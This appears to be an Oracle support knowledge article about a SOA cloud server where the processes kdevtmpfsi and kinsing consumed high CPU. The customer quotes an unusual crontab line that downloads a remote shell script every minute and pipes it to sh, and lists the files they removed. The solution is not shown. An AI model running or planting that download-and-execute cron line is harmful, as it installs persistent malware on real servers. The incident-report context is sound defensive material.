SOACS Cloud Server - Process Kdevtmpfsi Consuming High CPU Causing SOACS Down Issue (Doc ID 2901290.1)

Last updated on OCTOBER 10, 2023

Applies to:

Goal

We found on our SOACS Cloud server, processes kdevtmpfsi and kinsing were consuming high CPUs. Because of it weblogic services went down.

We found below entry inside our crontab which was unusual.

* * * * * wget -q -O - http://XXX.XXX.XXX.XXX/wb.sh | sh > /dev/null 2>&1

We killed processes kdevtmpfsi and kinsing and removed below files. Then load on system came back to normal.

rm -vf /tmp/kdevtmpfsi
rm -vf /tmp/kinsing

But why it happened and how these entries got added in Oracle server in first place as it can also happen to our PROD instances so we need to find root cause of this issue.
 

Solution

My Oracle Support provides customers with access to over a million knowledge articles and a vibrant support community of peers and Oracle experts.